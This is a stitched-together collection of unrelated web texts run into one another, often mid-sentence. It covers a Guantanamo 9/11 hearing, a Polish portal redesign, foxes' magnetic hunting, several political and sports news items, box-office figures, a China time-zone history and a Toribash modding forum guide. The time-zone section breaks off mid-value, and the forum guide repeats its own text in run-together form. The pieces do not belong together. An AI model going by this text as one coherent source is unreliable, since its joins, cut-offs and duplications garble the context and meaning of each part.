When Khalid Sheikh Mohammed's lawyer started talking this afternoon about his request for information pertaining to his client's case, someone -- it's not clear who -- hit the censor button. The audio feed turned to static. About a minute later, the screen went black. Even those physically sitting in the courtroom at Guantanamo Bay, separated from the judge, lawyers and defendants by soundproof glass, couldn't hear the actual exchange taking place in the court.
When the sound finally came back on several minutes later, Col. James Pohl, the military commission judge presiding over the September 11 war crimes case, looked baffled. He turned to the prosecutors and asked them who hit the censor button. Justice Department lawyer Joanna Baltes said she'd tell him later, in a secret session. But no one seemed to know who had the authority to censor the proceedings and on what grounds it had been done.
None of this is very auspicious for the trial of the five men accused of the most heinous terrorist attack ever perpetrated on U.S. soil. Although the judge earlier approved a 40-second delay in the audio feed from the courtroom to allow a government censor to shut down the feed if classified words were spoken, he doesn't seem to know who's in charge of carrying out his order.
Whether defense counsel in the 9/11 case can even speak in open court about wanting information from the government about the conditions of their clients' confinement -- let alone whether the government has to provide that information -- remains in doubt more than 11 years after the 2001 terrorist attacks took place.
A day of hearings at the Guantanamo Bay detention center once again highlighted the government's insistence on keeping secret anything related to the torture and abuse of the five accused men. It also highlighted the uncertainty of the rules governing the military commissions, which is making it so hard to get this trial off the ground.
Repeatedly, lawyers for the defendants and for the government argued to the judge about the different procedures that apply in different courts -- from the state courts of California to the federal court in Washington, D.C.. Each tried to analogize to those other courts' long-established rules to argue for the rules they want to govern this military commission proceeding. That's because the rules that actually govern this proceeding and these military commissions are still so unclear, more than a decade after the first Guantanamo military commission was created. It's not even clear to what extent the U.S. Constitution applies.
So far, the arguments at these pre-trial hearings are still mostly about the defense lawyers' access to evidence and ability to communicate with their clients. They're preliminary matters, but important ones that go to the heart of the legitimacy of the future trial and verdict. Yet because the military commissions are so new and untested -- it's hasn't yet held a contested trial on the merits of a single case -- the lawyers on both sides can spend months, or even years, arguing over what rules should apply.
So far, that's exactly what seems to be happening.We kicked it off. We were working on this project following the agile development methodology. The workgroup consisted of leaders of nearly all areas of the organization, because changes on the homepage affected the entire company. The whole team were meeting on daily basis. We organized 51 meetings in total, plus dozens of smaller ad-hoc groups. And its easily double that number. The fact that Wirtualna Polska is based on two remote cities – Warsaw and Gdańsk — didn’t made it any easier.
We drew the first lines in Axure on 29 June, but it wasn’t very similar to our final project. The project had nearly 80 iterations. Several graphic designers worked on it simultaneously. In consequence webmasters and programmers worked on almost constantly transforming project. We weren’t even creating specification because it was pointless. Sometimes an element had changed twice a day, because something designed in the morning was no longer that attractive by the end of the day.
Various iterations of graphic design
During these two months, change was an immanent feature of our every workday. By the end of the project we were so used to it, that when I personally changed the central element of the homepage — the main topic — with just ten hours left to launch, the programmers just said „yeah, we’ll do it“. And its pretty weird if you know how developers usually react to sudden changes.
Our tempo was impressive. The whole mobile version of the site was created from scratch in just 20 hours, including all nuances of typography, responsiveness, breakpoints, java script transformations and the behaviour logic of the individual elements. Without a single line drawn in any graphic or UX software. All it took was some paper, a fair dose of mathematics, a great graphic designer and an exceptional webmaster. Like a real life hackathon.
In the same time our UX specialists went out to meet the users. We didn’t have time to organize stationary usertests, so we chose a quicker methodology: ambush guerilla user testing, invented by Andy Budd from The Guardian. To refresh your memory: the method involves testing prototypes ‘in the street’ through highly spontaneous interviews in city parks, shopping malls and coffee shops.
One of our designers decided to mix business with pleasure, and that’s how we conducted our first usertests on the beaches in Sopot and Gdańsk. We had nothing to show at the time, so we tested our old site. At the and of interview we asked our interviewees to describe Wirtualna Polska as if it was a human being. Lets see what our respondents said:
A guy in his late fourties, very formal
An old guy with no style, a miserable bore
An aged woman, a gossip who likes to talk a lot
And old stiff
We started to ask ourselves what will they say when we ask the same question after the launch of the new homepage? In other words: are we really going in the right direction?
I’m talking about these doubts, because we knew exactly how big was this revolution. The new homepage almost completely changed the long-established way of exploring our hompage. The division into the left magazine section and the right news section was replaeced by a division into horizontal topic sections, like news, finance, sport etc. We were planning to replace the sea of blue links with a grid of photographs and vibrant colours. To the current 20 photos on the page we were going to add an additional…few hundred. We removed most of the navigation items. We wanted to revolutionize not just the editorial parts, but also change the locations and forms of a large number of advertising formats.
Old and new design of homepage
Naturally, we were trying to limit the potential risk of error. With coming beta versions, we were conducting ad-hoc user tests. In total we ran four such series. We also managed to do several A/B tests on the old homepage. We tested the most controversial elements that we were planning to implement in the final project. This gave us the peace of mind that the company would not go bankrupt on 1 September, and we would not be fired.
However, we still had many questions that we couldn’t answer within those two months. Let me show you some examples.
Variations of right news column
As you can see we had many concepts for our right column. But which of them would be best? With mini pictures or without them? With blue links, or with black?
We also wanted to choose the best navigation layout.
Variations of header
But which one will be working best? Red? White? With fewer or more links? With links on the right or on the left? What about the right column — is it better with more pictures or not? Should the weather be on the header or would it work better in the right column? What about the main topic? What about the left column with the colour cables? Will they work better with photos or without them? And the automotive section — perhaps it should be above, not below the women’s section?
But there came the launch date, and all these questions remained unanswered.'You're Invisible, But I'll Eat You Anyway.' Secrets Of Snow-Diving Foxes
Robert Krulwich/NPR
I'm a fox. It's January. I'm hungry. I want a meal. My food, however, is buried 3 feet down, deep in the snow, hiding. It's alive, in motion, and very small, being a mouse. So how does an above-ground fox catch an underground mouse? Well, the answer is nothing short of astonishing. Here's a fox:
Discovery YouTube
Think about this... an ordinary fox can stalk a mole, mouse, vole or shrew from a distance of 25 feet, which means its food is making a barely audible rustling sound, hiding almost two car lengths away. And yet our fox hurls itself into the air — in an arc determined by the fox, the speed and trajectory of the scurrying mouse, any breezes, the thickness of the ground cover, the depth of the snow — and somehow (how? how?), it can land straight on top of the mouse, pinning it with its forepaws or grabbing the mouse's head with its teeth.
While in the air, I recently read, foxes can adjust their flight pattern by shifting their tails, ever so slightly, to one side or the other — and all this without seeing what they're about to eat.
Robert Krulwich/NPR
Drone pilots have nothing on foxes. These animals can be superb aerial hunters, and a few years ago a Czech scientist noticed something odd about how they do it.
Jaroslav Cerveny decided to watch Czech red foxes catching mice in the wild. As reported by Ed Yong in his blog, Not Exactly Rocket Science, Cerveny recruited a team of 23 hunters and wildlife biologists who spread out across various meadows and fields and recorded "almost 600 mousing jumps performed by 84 foxes at a wide variety of locations and times." That's a lot of jumpin'.
Robert Krulwich/NPR
When they looked at each other's notes, the researchers saw a pattern: For some reason, Czech foxes prefer to jump in a particular direction — toward the northeast. (To be more precise, it's about 20 degrees off "magnetic north" — the "N" on your compass.) As the video above says, most of the time, most foxes miss their targets and emerge covered in snow and (one presumes) a little embarrassed. But when they pointed in that particular northeasterly direction, Ed writes, "they killed on 73 percent of their attacks." If they reversed direction, and jumped exactly the opposite way, they killed 60 percent of the time. But in all other directions — east, south, west, whatever — they sucked. Only 18 percent of those jumps were successful.
Robert Krulwich/NPR
Why this preference for a northeasterly/southwesterly leap? Cerveny found that foxes prefer to jump that way regardless of time of day, season of year, cloud cover or wind direction, so the northeast "advantage" isn't a temporary thing. It's constant.
What's going on?
Cerveny believes that foxes have "a magnetic sense." Not only can they see, hear, touch, taste and smell like we do, they've got an extra gift. They can sense the Earth's magnetic field. There are birds, sharks, turtles and ants that can do the same thing. But the fox is the first animal we know of to use this sense to hunt.
Cerveny can't prove this yet; he hasn't found a packet of magnetically sensitive cells or crystals inside a fox. That's going to take time. But if his theory is correct, here's how it might work.
Listening With A Compass
First, a fox hears something. She gets really quiet and tilts her ears. (You see this on the video — her head shifts, she concentrates.) She waits. There's another sound.
Where, she wonders, is that sound coming from? Here's where I wish I were a fox. Walking around with a "magnetic sense," says Ed Yong, is like walking around with a flashlight attached to your belt (or head) — pointed down at a fixed angle. Let's make it a 60-degree angle. Wherever you are, this spot travels with you, ahead of you, as you move. You can sense it — like you'd see the beam of light from a flashlight that never quits.
Robert Krulwich/NPR
John Phillips, who studies magnetic senses at Virginia Tech, told Ed that the flashlight beam is analogous to the downward slope of the Earth's magnetic field in the Northern Hemisphere. While I'm not sure what that means, apparently animals know how to measure the distance between themselves and that sort of magnetic beam. So, when a fox hears a sound under the snow, she searches "for that sweet spot," as Ed puts it, "where the angle of the sound hitting [her] ears matches the slope of the Earth's magnetic field." When the two are in alignment, then — like a treasure map marked "X" — she knows exactly where to go! And 73 percent of the time, she's exactly right.
Robert Krulwich/NPR
It's science like this that tells me creatures are doing ridiculously amazing things all the time that I can't understand, will never get to feel — which triggers, at least in me, another feeling, something darker. Animal envy. After reading these papers, I wanted to be a fox. Very badly. Not forever. Just for the time it would take to sense a magnet, to leap into the sky, to plunge down into a snowbank and land on my lunch. If there were only a fox wondering what it would be like to eat chicken with a fork, maybe we could swap.
But... I guess that's not going to happen.“The stakes in this election could not be higher, and the choice is clear,” Martin O’Malley said Thursday. | Getty O'Malley endorses Hillary Clinton: 'The choice is clear'
Overshadowed by President Barack Obama’s full-throated endorsement of Hillary Clinton, former Maryland Gov. Martin O’Malley on Thursday also announced his support for the former secretary of state.
“For the future of the country we carry in our hearts, I am committing my energies to the election of Secretary Clinton as the next President of the United States,” O’Malley said in a statement. “Democrats, Independents and Republicans alike must come together to confront the fascist threat to our democracy presented by Donald Trump.”
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O’Malley, who suspended his campaign in February following a dismal showing in the Iowa caucuses, congratulated Clinton on winning a “hard-fought nomination process” while also crediting Vermont Sen. Bernie Sanders “for waging an exciting campaign focused on important progressive issues about which so many of us care so deeply.”
“The stakes in this election could not be higher, and the choice is clear,” said O’Malley, who added that it’s time for the Democratic Party to unite now that voters have chosen Clinton as their presumptive nominee.
“I look forward to campaigning for Secretary Clinton and urge all of my friends and supporters to do the same,” he said. “Every vote counts, and every American is needed in the important struggle ahead.”
O’Malley’s endorsement follows Obama’s long-awaited announcement. The president offered a glowing endorsement of Clinton, saying in a campaign video released by Clinton’s campaign, “I don’t think there’s ever been someone so qualified to hold this office.”
“Look, I know how hard this job can be,” Obama said. “That’s why I know Hillary will be so good at it.”It’s too bad that Dropbox isn’t a publicly traded company, because it would be a great time to buy its shares now that Microsoft (MSFT) CEO Steve Ballmer has given it his patented reverse-kiss-of-death. Ballmer, who previously predicted the iPhone would flop because it lacked a physical keyboard and that Android would fail because Google wasn’t slapping OEMs with any licensing fees to use it, told BusinessWeek on Tuesday that the cloud storage company was just a “little startup” that posed no threat to Microsoft’s own SkyDrive cloud service.
When BusinessWeek’s interviewer pointed out that Dropbox had 100 million users, Ballmer said that most of those users were consumers rather than business customers, which would limit the company’s revenue potential going forward.
“If you want to get numbers like 100 million, it helps to start with consumers as opposed to businesses so you’re doing an apples-to-apples comparison,” Ballmer said. “In general, I would say a much higher percentage of our unit engagement with our customers comes from the consumer. And a much higher percentage of our revenue participation comes from our business customers.”A copy of the termination letter to FBI director James Comey from Donald Trump
It doesn't look good. For Donald Trump's opponents, it has all the hallmarks of a cover up.
President Trump fires the man leading the FBI investigation into whether his campaign colluded with Russia in the 2016 election.
It was a decision advised by the attorney general who recused himself from any probe into possible Kremlin links because he falsely testified about his own contacts with Russia.
The White House says Comey's sacking has nothing to do with Russia and everything to do with his mishandling of Hillary Clinton's email investigation which left him unable to "effectively lead the bureau".
Image: FBI director James Comey
It is time for a fresh start at the FBI, it says - with who knows who at the helm.
But the core of Trump's rationale for firing Comey is the same thing he praised the former director for during his campaign, admiring the "guts" it took for him to reopen the investigation into Clinton's emails just days before the election.
Democrats aren't buying it - they say the Russian investigation is now in danger of becoming a charade.
During James Comey's recent testimony at a Senate Judiciary Committee hearing, the then FBI director could not say unequivocally that the president is not a target of the ongoing Russia investigation.
Chuck Schumer: Was FBI investigation getting too close to home?
This is perhaps why, in his dismissal letter, Trump made very deliberate reference to Comey informing him "on three separate occasions" that he is not under investigation.
Trump's opponents say he's protesting too much.
James Comey reportedly thought his removal was a prank.
The former FBI director learned he'd been sacked from TV news coverage while addressing employees in LA.
This is only the second time in US history that a president has fired an FBI director.
An administration known for shock moves has surpassed itself.There were four major new releases this weekend, any one of which arguably would have dominated the frame had they moved to the mostly-vacant September 6th slot. But I digress. The Maze Runner is the top movie of the weekend, having begun its box office sprint with a robust $11 million. Considering the film cost just $30m to produce, I would argue that its $30m+ weekend debut, which will place it among the ten-biggest September debuts, qualifies as a major win. The 20th Century Fox release, which played in standard theaters and IMAX, is the latest would-be franchise to emanate from a young-adult fantasy book series. The film, about a group of young boys trapped on a mysterious and deadly island with no memory of their former lives, is based on a book by James Dashner. The film benefited from a somewhat simple hook and lacked the complicated world-building that required an entire marketing campaign to explain. The lead Dylan O'Brian isn't necessary a major star, but his role in MTV's Teen Wolf series certainly mattered in terms of exposure in kid-friendly marketing avenues. Point being, we are getting to the point where there are enough YA fantasy-lit films that not everyone has to be held up as the next Hunger Games. As such, The Maze Runner, which is frankly a better movie than I expected, is a small-scale genre entry that is doing pretty terrific business in regards to its own budget and expectations.
Liam Neeson's A Walk Among the Tombstones earned $4.7 million on its opening Friday. That's below the $6.5m earned by The Grey and certainly below the $10m earned by the first Friday of Non-Stop back in February. That's not a surprise, as the Universal (Comcast Corp.) release is a very dark, very violent, and very icky hard-boiled detective film. This was technically a "one for me" project for Mr. Neeson, as the $23m thriller shouldn't be expected to reach the heights of Unknown ($63m domestic) or Non-Stop ($91m domestic), let alone Taken ($143m domestic). The Grey, which somewhat misled audiences into thinking its meditative drama about men coming to terms with death was an action film with Neeson punching wolves, earned $51m back in 2012 and that was really the best case scenario for A Walk Among the Tombstones. The film wil end the weekend with $14m and will make money over the long haul. The only thing technically at stake is a franchise in this potentially sequel-rich series. Universal ran an honest campaign, and it's a pretty good movie for those who know what they are in for. I'd argue for legs, save for the fact that Denzel Washington's somewhat more popcorn-ish The Equalizer drops next weekend.
Also debuting this weekend is the Warner Bros. (Time Warner Inc.) release This is Where I Leave You. The $19 million dramatic comedy from Shawn Levy (best known for high-concept comedies like Date Night, The Internship, and Night at the Museum) earned $3.9m yesterday, setting the stage for an $11m-$12m weekend. That's no great shakes, although to be fair the all-star cast (Jason Bateman, Tina Fey, Jane Fonda, Corey Stoll, Rose Byrne, Adam Driver, etc.) are more "people we recognize and like" as opposed to "box office draws for whom we will see any movie which features them." It's a pretty good movie, one that falls into conventional sitcom resolutions late in the game but otherwise is the kind of middlebrow, unapologetic (lightweight) drama that is all-but-unheard of outside of the Oscar season. That the film got made despite lacking in realistic Oscar expectations is something of a miracle, and as such I will champion it on principle.
The fourth new release of the weekend is Kevin Smith's Tusks. The film was released by A24 into 600 screens and will sadly earn under/over $1 million for its debut weekend. The film, starring Justin Long, Michael Parks, Genesis Rodriguez, and Haley Joel Osment, concerns an abrasive podcaster who ends up getting kidnapped by an insane elderly war vet who has horrific intentions for the young man. It sadly didn't play beyond the hardcore Kevin Smith fans and will easily be his lowest-grossing semi-wide release since Mallrats, which earned $2m back in 1995. As I noted in my review, I'm somewhat surprised that it got a wide release at all, even with Smith's name on the poster. That's not a knock on its quality, but rather that most of the more outside the box horror titles have been going the VOD route of late, so this somewhat original horror title getting a semi-wide release was a pleasant surprise. The good news is that A24 didn't spend much on advertising, so the only real loss is Mr. Smith's directorial ego.
In holdover news, Sony's No Good Deed earned $2.95 million on its second Friday, down 66% from its previous Friday. Still, the $24m thriller (starring Idris Elba and Taraji P. Henson) will earn around $9.5m for the weekend, giving the film a 10-day domestic cume of $39.2m. A Dolphin Tale 2, which by the way is a perfectly satisfying family-friendly drama, dropped a troubling 50% from last Friday, earning $2.135m yesterday. The $35m sequel has thus far earned $20.2m and will close the weekend with around $26m. When the Game Stands Tall earned $0.32m last night paving the way for a $1m weekend and a $28.3m domestic cume.
If I Stay earned another $0.5m (-54%) yesterday, giving the Chloe Moretz romantic drama $46.3m thus far. Walt Disney's Guardians of the Galaxy should earn around $5m after earning $1.38m last night. The Marvel fantasy now has $309m domestic and should have $313m by tomorrow, surpassing the $312m total of Iron Man 2. Teenage Mutant Ninja Turtles grossed $0.63m yesterday, bringing its cume to $183m. The Tom Hardy/James Gandolfini crime drama The Drop earned $645k yesterday, setting the stage for a $2m second weekend giving the cheap release over/under $7.5m after ten days.
That's it for today. Join me tomorrow for more holdover news and the weekend estimates.One of the more intriguing Oakland Raiders new rookies is one who wasn't even drafted: receiver Josh Harper.
The Fresno State receiver announced on Twitter at the conclusion of the draft Saturday that he agreed to terms with the Raiders as an undrafted free agent. The team has yet to make an undrafted free-agent signings official.
Let's take a look at what Harper, who will be fighting for a roster spot this summer, brings to the Raiders.
Chemistry with Carr: Harper had 79 catches for 1,011 yards, 13 touchdowns in 2013 with Raiders quarterback Derek Carr tossing him passes at Fresno State.
Good value: ESPN draft expert Todd McShay deemed Harper the sixth best available undrafted free agent.
Good bloodlines: Harper is the son of former San Francisco 49ers linebacker Willie Harper.
Family ties with the Raiders: Harper's sister, Qiava Harper, is a premium seating executive for the Raiders. His older brother Matthew Harper, is an assistant coach with the Eagles. Harper is the youngest of nine children.
What he said about Carr: "Playing with Derek for three years, nothing surprises me," Harper said at the NFL combine in February. "He makes all the throws. He has crazy arm strength. He's a great leader and an even better person. So that didn't surprise me with his success this year."
Who he models his game after: Pittsburgh receiver Antonio Brown. "He can play inside receiver, he can play outside receiver and he's quick," Harper said at the combine. "I feel like he's one of the better receivers, so why not try to model my game after him?"Says he is the most professional player he has met
The relationship between Mourinho and Cristiano Ronaldo cooled towards the end of the Portuguese manager's time coaching Real Madrid. CR7's actions during the preseason match 'Los Blancos' played against Chelsea served to further underline the problems between the two.
Mourinho seems to have had a change of heart though and, in comments made to France Football, he has praised the Portuguese star. "Coaching him was the highlight of my career. He's the most professional player I've ever met," he said.
"A coach and player may have their differences at a given time, but it ends there. I don't have any problem", he assured.
Mourinho added to Ancelotti's words of praise following the game against Real: "Cristiano Ronaldo is out of this world."In addition, it has been proposed during 2005's NPC & CPPCC of China that provinces in the west (such as Shaanxi, Sichuan, and Chongqing) should use the time offset of UTC+07:00. However, this proposal has not been voted upon yet. [4] [5]
The special administrative regions (SARs) maintain their own time authorities, with standards called Hong Kong Time (香港時間) and Macau Standard Time (澳門標準時間). These have been equivalent to Beijing time since 1992.
The time in China follows a single standard time offset of UTC+08:00 (eight hours ahead of Coordinated Universal Time ), despite China spanning five geographical time zones. The official national standard time is called Beijing Time ( Chinese : 北京时间) domestically [1] and China Standard Time (CST) internationally. [2] Daylight saving time has not been observed since 1991. [3]
In the 1870s, the Shanghai Xujiahui Observatory was constructed by a French Catholic missionary. In 1880s officials in Shanghai French Concession started to provide a time announcement service using the Shanghai Mean Solar Time provided by the aforementioned observatory for ships into and out of Shanghai. By the end of 19th century, the time standard provided by the observatory had been switched to GMT+8.[5] The practice has spread to other coastal ports, and in 1902 the "Coastal Time" was proposed to be the universal timezone for all the coastal ports in China. However, the timezone for the rest of China remained undetermined.[6]
Until 1913, the official time standard for the whole of China was still the apparent solar time of Beijing, the capital of the country at the time. Starting in 1914, the Republic of China government began adopting the Beijing Local Mean Solar Time as the official time standard. By 1918, five standard time zones had been proposed by the Central Observatory of Beiyang government of Republic of China, including the Kunlun (UTC+05:30), Sinkiang-Tibet (UTC+06:00), Kansu-Szechwan (UTC+07:00), Chungyuan (UTC+08:00), and Changpai (UTC+08:30).[5]
The 1947 version timezone assignment
After the defeat of Beiyang government in 1928, the mission of the Central Observatory was moved to Nanjing, and the reference time standard used for the construction of traditional Chinese Calendar was shifted from Beijing Mean Solar Time to GMT+8.[5]
In 1930s, the proposed five timezones had not been fully observed, causing regions in inner China area to adopt their own time standards, resulting in chaos. On 9 March 1939, when the Ministry of the Interior organized a Standard Time Conference in Chongqing, it was decided to adopt the five timezone proposal with slight modification of their borders starting from 1 June, however it was also decided that the entire country would use the Kansu-Szechwan Time (GMT+7) during the Second Sino-Japanese War which began at the time.[5]
Following the end of World War II, the five-timezone system was resumed, although there is little information about the historical usage of time in the Kunlun and Changpai zones. A further refined system with adjustment to zone assignment in the Northwest part of Gansu was announced in 1947 for adoption in 1948. However, as the Chinese Civil War came to its end in 1949-1950, regional governments under the influence of Communist Party of China, other than those in Xinjiang and Tibet, switched to use the same time as Beijing, which is GMT+8, and is later known as Beijing Time or China Standard Time.[5]
There are two independent sources that claim the Communist Party of China, and/or the People's Republic of China, were using apparent solar time for Beijing Time before the period between 27 September 1949 and 6 October 1949, and they adopted the time of GMT+8 within that period of time, but such claim is dubious.[7]
The change in use of time in Tibet is undocumented but is known to use till at least mid-1950s, and the use of time in Xinjiang have been switched back and forth between GMT+6 and GMT+8 during the period of 1969 and 1986 and resulted in the current multiple time standard situation in the area. (see "Xinjiang" section below for detail)[5]
Daylight saving time was observed from 1945 to 1948, and from 1986 to 1991.[5]
In 1997 and 1999, Hong Kong and Macau were transferred to China from the United Kingdom and Portugal and they were established as special administrative regions. Although the sovereignty of the SARs belongs to China, they retain their own policies regarding time zones for historical reasons. Due to their geographical locations, both are within the UTC+08:
|
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Our team is so passionate about this project - we're ready to drag ourselves through the snowy, muddy, marshy horror of March in New England to bring you the most intense and compelling film possible. So whether out of legitimate excitement or just pure Shadenfreude, please donate and share our page!
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sound 00:00 00:00User Name Remember Me? Password Register FAQ General Rules Community Page 1 of 2 1 2 > Display Modes Nov 9, 2012 #1 ClockworkMonkey Senior Member
Probably Stole This Belt Join Date: Oct 2007 Posts: 885
~ Mod Maker Documentation ~ How to use the Mod Maker
Now you need to navigate to the Mod Maker
Click the following options in the menu
This will load up the Mod Maker for you.
On the left you will see the control panel.
The first page has most of the information for environment objects on it.
You can use 128 objects in total, but only objects 1 to 16 are movable objects.
Each object is assigned a number, to enable an object check the box at the top that says enable. So to enable object 1 for example, type 1 into the box, and check enable.
The particulars of the object are set using the next 9 boxes. Here you can choose the position, size and colour.
Under these 9 boxes, you can choose between the 3 toribash shapes. Sphere, Box and Cylinder.
Triggers (information to come later)
Now click the tab at the top that says ADV
This gives you the menu for some more options for your objects.
Bounce will make an object bouncy. Setting this too high can cause Toribash to crash, so it's best to increase it slowly.
Friction determines the friction of the object, 10000 is default, 0 is slippery.
Thrust determines which way the object will be "pushed".
Thrust frames determine which frames the object is pushed on. 1 means every 1 frame, 2 means every 2 frames, 500 means every 500 frames etc.
Set the frames to a positive number and then set the X, Y and Z to whatever you want and the object will move (setting it too high might make the object disappear in a flash).
Force (can be achieved using thrust, not needed)
The next 3 boxes will set flags on the object. Weapon = Instagib, Static = Object cannot move, No Grip = Can't grab the object.
Next 6 boxes can be used to set Uke and Tori in different positions. Only use this if you don't want them to be facing each other like in most mods.
The rotation does not work correctly and only -180, -90, 90 and 180 on the Z axis will function correctly.
Note that if you do use these settings, in Multiplayer there is a bug where Tori (red player) will start at coordinates 0,0,0 on the first turn and then teleport to his correct location at the start of the second turn.
Dismemberment and Fracture thresholds determine how easy it is to DM or fracture players. The lower the number, the easier it is.
The rest of the game rules can be found under the "Rules" tab.
Match Frames = Number of frames in the match. (limited to 2000 on MP I think)
Turn Frame = How many frames per turn. Separate the frames with a comma. eg. 10,20,30,40,50... etc. If the sum of the turn frames is less than the match frames, the turn frames will repeat from the first turn.
Distance = How far Uke and Tori are from each other.
Height = How far Uke and Tori are off the ground.
Rotation = The angle that Uke and Tori stand.
Dojo Size = Size of dojo...
Reaction Time = The amount of time (in seconds) that each turn lasts. 20 is default on most public servers.
Gravity = X, Y and Z settings for gravity. -9.82 is Judo, -30 is Aikido. -100 is close to real world gravity.
Dismember = check to enable breaking off of body parts
Fracture = check to enable fracturing of joints.
Disqualification = check to enable DQ within the dojo/on the ground if there is no dojo.
No Gripping = check to disable grab.
Instant DQ outside dojo = check to have normal DQ outside dojo.
Frames till DQ = Sets timed dq. 0 is instant, 50 will take 50 frames.
Dojo type = Choose between square and circular dojo.
Winner on Draw = Chooses who wins if the match is a draw. Good for sports mods.
Exemption from DQ= Recommend Sumo is on for all mods, determines if ankles and wrists dq by default.
Joint objects are used to create links between objects 1 to 16. First you need to set the joint number by clicking the number from the list (1 to 16) then clicking the 2 objects you want to join on the check boxes. So if you wanted to create a link between object 1 and 5 you would first click the tab "1" then check boxes 1 and 5.
This will create a static (non moving) joint between objects 1 and 5.
You need to use the position boxes to place the joint in a suitable place (between the 2 objects you are joining).
The axis boxes can be set to 1 or -1. If you look closely at the joint you will see which direction the axis is on. You can set mutliple axis and these will affect the rotation of the joint. set all 3 to 1 if you want to have a free moving joint.
The upper and lower ranges are set between 5 and -5. Think of them as both being in the same position on a clock face (let's say 12 o'clock) if you want to have it going through 12 hours (360 degrees) set the upper to 5 and the lower to -5. If you want it to go from 9 o' clock to 3 o' clock set it to 2.5 -2.5 etc.
To make a fully free joint set all the axis to 1 and the ranges to 5 (upper) -5 (lower).
Joints can also be powered. Strength sets how much torque the joint has, velocity sets how fast it can spin when it reaches top speed.
If you set the strength very high, but the velocity low, it would spin around slowly but would be difficult to stop. If you set the strength very low and the velocity very high, it would go very fast, but be easy to stop.
To get to the next set of tabs on the control panel, click the "Next Page" button in the bottom right.
This is the body editor. This is used for editing Uke and Tori.
First choose between editing You (Tori) or Uke - You can set one player as default afterwards, so you only need to edit one player (explained later).
Scale sets the size of the body part you have selected.
Density sets how heavy the body part is.
Position sets the location of the body part. Note that because all the body parts are jointed, moving them around randomly will often cause problems. Also, cylinders cannot be placed horizontally as they will not joint correctly.
Thrust is the same as it is for objects.
Thrust frames determine which frames the body part is pushed on. 1 means every 1 frame, 2 means every 2 frames, 500 means every 500 frames etc.
Set the frames to a positive number and then set the X, Y and Z to whatever you want and the object will move (setting it too high might make the object disappear in a flash).
*More details to come later*
Stickied! -Echo
Firstly, you will need the most recent version of Toribash to continue. Download it now from Toribash.com Now you need to navigate to the Mod MakerClick the following options in the menuThis will load up the Mod Maker for you.On the left you will see the control panel.The first page has most of the information for environment objects on it.You can use 128 objects in total, but only objects 1 to 16 are movable objects.Each object is assigned a number, to enable an object check the box at the top that says enable. So to enable object 1 for example, type 1 into the box, and check enable.The particulars of the object are set using the next 9 boxes. Here you can choose the position, size and colour.Under these 9 boxes, you can choose between the 3 toribash shapes. Sphere, Box and Cylinder.Triggers (information to come later)Now click the tab at the top that says ADVThis gives you the menu for some more options for your objects.Bounce will make an object bouncy. Setting this too high can cause Toribash to crash, so it's best to increase it slowly.Friction determines the friction of the object, 10000 is default, 0 is slippery.Thrust determines which way the object will be "pushed".Thrust frames determine which frames the object is pushed on. 1 means every 1 frame, 2 means every 2 frames, 500 means every 500 frames etc.Set the frames to a positive number and then set the X, Y and Z to whatever you want and the object will move (setting it too high might make the object disappear in a flash).Force (can be achieved using thrust, not needed)The next 3 boxes will set flags on the object. Weapon = Instagib, Static = Object cannot move, No Grip = Can't grab the object.Next 6 boxes can be used to set Uke and Tori in different positions. Only use this if you don't want them to be facing each other like in most mods.The rotation does not work correctly and only -180, -90, 90 and 180 on the Z axis will function correctly.Note that if you do use these settings, in Multiplayer there is a bug where Tori (red player) will start at coordinates 0,0,0 on the first turn and then teleport to his correct location at the start of the second turn.Dismemberment and Fracture thresholds determine how easy it is to DM or fracture players. The lower the number, the easier it is.The rest of the game rules can be found under the "Rules" tab.Match Frames = Number of frames in the match. (limited to 2000 on MP I think)Turn Frame = How many frames per turn. Separate the frames with a comma. eg. 10,20,30,40,50... etc. If the sum of the turn frames is less than the match frames, the turn frames will repeat from the first turn.Distance = How far Uke and Tori are from each other.Height = How far Uke and Tori are off the ground.Rotation = The angle that Uke and Tori stand.Dojo Size = Size of dojo...Reaction Time = The amount of time (in seconds) that each turn lasts. 20 is default on most public servers.Gravity = X, Y and Z settings for gravity. -9.82 is Judo, -30 is Aikido. -100 is close to real world gravity.Dismember = check to enable breaking off of body partsFracture = check to enable fracturing of joints.Disqualification = check to enable DQ within the dojo/on the ground if there is no dojo.No Gripping = check to disable grab.Instant DQ outside dojo = check to have normal DQ outside dojo.Frames till DQ = Sets timed dq. 0 is instant, 50 will take 50 frames.Dojo type = Choose between square and circular dojo.Winner on Draw = Chooses who wins if the match is a draw. Good for sports mods.Exemption from DQ= Recommend Sumo is on for all mods, determines if ankles and wrists dq by default.Joint objects are used to create links between objects 1 to 16. First you need to set the joint number by clicking the number from the list (1 to 16) then clicking the 2 objects you want to join on the check boxes. So if you wanted to create a link between object 1 and 5 you would first click the tab "1" then check boxes 1 and 5.This will create a static (non moving) joint between objects 1 and 5.You need to use the position boxes to place the joint in a suitable place (between the 2 objects you are joining).The axis boxes can be set to 1 or -1. If you look closely at the joint you will see which direction the axis is on. You can set mutliple axis and these will affect the rotation of the joint. set all 3 to 1 if you want to have a free moving joint.The upper and lower ranges are set between 5 and -5. Think of them as both being in the same position on a clock face (let's say 12 o'clock) if you want to have it going through 12 hours (360 degrees) set the upper to 5 and the lower to -5. If you want it to go from 9 o' clock to 3 o' clock set it to 2.5 -2.5 etc.To make a fully free joint set all the axis to 1 and the ranges to 5 (upper) -5 (lower).Joints can also be powered. Strength sets how much torque the joint has, velocity sets how fast it can spin when it reaches top speed.If you set the strength very high, but the velocity low, it would spin around slowly but would be difficult to stop. If you set the strength very low and the velocity very high, it would go very fast, but be easy to stop.To get to the next set of tabs on the control panel, click the "Next Page" button in the bottom right.This is the body editor. This is used for editing Uke and Tori.First choose between editing You (Tori) or Uke - You can set one player as default afterwards, so you only need to edit one player (explained later).Scale sets the size of the body part you have selected.Density sets how heavy the body part is.Position sets the location of the body part. Note that because all the body parts are jointed, moving them around randomly will often cause problems. Also, cylinders cannot be placed horizontally as they will not joint correctly.Thrust is the same as it is for objects.Thrust frames determine which frames the body part is pushed on. 1 means every 1 frame, 2 means every 2 frames, 500 means every 500 frames etc.Set the frames to a positive number and then set the X, Y and Z to whatever you want and the object will move (setting it too high might make the object disappear in a flash).*More details to come later* <the god> the god
<@Smilies2> modding tiem
Last edited by Echoforce; Nov 11, 2012 at 06:41 PM.. Dec 30, 2013 #2 maro6162 Senior Member
3rd Dan Black Belt Join Date: Jun 2011 Posts: 623
This has helped me alot. Thanks. Former Leader Of Back[Flip]s. Wish to join the clan? Click: Here! Feb 17, 2014 #3 snoresville Senior Member
Black Belt Join Date: Dec 2013 Posts: 931
